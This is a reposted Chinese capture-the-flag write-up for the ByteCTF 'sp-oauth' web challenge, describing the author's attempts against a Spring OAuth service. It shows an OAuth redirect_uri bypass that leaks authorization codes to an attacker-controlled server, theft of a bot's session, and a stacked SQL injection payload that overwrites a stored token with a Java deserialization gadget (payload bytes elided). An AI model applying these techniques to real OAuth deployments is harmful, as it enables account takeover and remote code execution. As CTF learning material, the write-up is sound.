更多全球网络安全资讯尽在邑安全
ByteCTF唯一一道0解题目,比赛的时候卡住了,最后磕磕绊绊的做了一下
这个题目主要考察对Spring-oauth的理解,可惜我对Spring-oauth一无所知:)
题目分为两个端口
http://39.105.175.150:30003/
http://39.105.175.150:30002/
30003端口是最开始题目给的端口
然后又给出了一个ice cream在30002
http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback
好了,我们先了解一下正常的流程,在30003端口注册一个用户cxcsec
然后在30002端口注册一个cxctest,登录我们访问最开始的链接 http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback
会发现跳转到了30003的bind接口
这时候输入30003的cxcsec的账号密码,我们就可以把30002的cxctest和30003的cxcsec进行绑定。再登录30002的cxctest,就可以转到30003的cxcsec账号
那么这个过程中的什么步骤我们可以控制一下呢?就是30002最开始的那个链接
成为管理员
我们可以搜到这么一篇文章https://www.redhatzone.com/ask/article/2379.html
可以通过设置redirect_url为
http://xxx.xxx.xxx.xxx%[email protected]:30003/zwo/callback
来使其请求重定向到我们的服务器,并且携带code
验证一下
我们可以看到服务器收到了我们的code,这个code是用一次就失效的。
在正常流程中,我们进行跳转之后,会获得一个
Set-Cookie: JSESSIONID=xxxxxx; Path=/; HttpOnly
我们用这个cookie就能访问到30003对应的用户,所以沿着这个思路,我们知道30003最开始登录进去是之后,有一个给bot提供url的操作。那么我们将恶意的url传给bot,就可以打到bot的code。
在实际操作的时候,还是卡了很久。一开始以为自己的思路错误,后来发现是host的锅,我们必须把host设置成redirect_url的值,才能正常返回302。不然的话会如下报错
拿到cookie之后,登录进管理员。我们可以看到一个查看客户端信息
这个地方也是卡了好久,可能当时做题太累,当时脑袋卡住了。这地方是30002端口,我当时点击之后,就会跳到30002的登录界面。两个多小时后发现,只要正常登录一个30002的账户,然后就可以正常访问这个url
这地方是个sql注入,没有任何限制。这里sqlmap可以直接拖库。尝试了好久好久的ssti,直到比赛最后给了pom.xml提示,我还看到了thymeleaf,然后继续搞ssti到接近比赛结束。主要感觉如果是反序列化的话,没有触发点(原谅我太天真了),就没怎么看反序列化。
直到比赛结束,就做到这里
反序列化
最后找到了,发现了spring-oauth的一些数据,是序列化存储在数据库中的https://www.cxyzjd.com/article/u014730165/83501594
不知道是不是因为我的sqlmap版本太古老了,我拖库之后,发现token没有值,想当然以为是出题人设置。所以当时直接认为反序列化这条路行不通
我们从题目中看一下
那就很简单了,看pom.xml有javax.transaction-api依赖,估计是打SpringJndiWithJtaTransactionManager。题目的sql注入可以堆叠,直接update自己的30002端口用户的token为恶意payload就可以
client_id=62608e08adc29a8d6dbc9754e659f125'union select hex(token),"1",'1','4','1' ,'6','7',"9","99",'1','9' from oauth_access_token where user_name='cxc' limit 1,1;update oauth_access_token set token=0xacedxxxxxxxxxxxxxxxxxxxxxxxxxxxxd where user_name='cxc'%23
这里需要注意的是,想要触发反序列化还得再访问一次正常的链接
http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback
我在实际测试中ldap协议打不了,不知道为啥,蹲一个大佬解释。
原文来自: xz.aliyun.com
原文链接: https://xz.aliyun.com/t/10389
推荐文章
1
2
原文始发于微信公众号(邑安全):ByteCTF web sp-oauth 题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论